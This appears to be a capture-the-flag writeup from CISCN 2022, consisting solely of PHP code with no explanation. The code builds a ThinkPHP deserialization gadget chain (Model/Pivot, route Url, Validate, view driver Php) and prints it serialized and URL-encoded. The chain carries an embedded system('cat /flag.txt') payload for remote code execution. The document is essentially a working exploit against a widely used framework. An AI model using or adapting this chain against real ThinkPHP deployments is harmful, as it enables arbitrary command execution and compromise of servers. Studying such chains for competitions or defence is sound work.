CISCN 2022 Writeup

<?php

namespace think {

    use think\route\Url;

    abstract class Model
    {
        private $lazySave;
        private $exists;
        protected $withEvent;
        protected $table;
        private $data;
        private $force;
        public function __construct()
        {
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = new Url();
            $this->force = true;
            $this->data = ["1"];
        }
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
        function __construct()
        {
            parent::__construct();
        }
    }
    $b = new Pivot();
    echo urlencode(serialize($b));
}

namespace think\route {

    use think\Middleware;
    use think\Validate;

    class Url
    {
        protected $url;
        protected $domain;
        protected $app;
        protected $route;
        public function __construct()
        {
            $this->url = 'a:';
            $this->domain = "<?php system('cat /flag.txt');?>";
            $this->app = new Middleware();
            $this->route = new Validate();
        }
    }
}

namespace think {

    use think\view\driver\Php;

    class Validate
    {
        public function __construct()
        {
            $this->type['getDomainBind'] = [new Php(), 'display'];
        }
    }
    class Middleware
    {
        public function __construct()
        {
            $this->request = "sp4c1ous";
        }
    }
}

namespace think\view\driver {
    class Php
    {
        public function __construct()  
        { 
        }
    }
}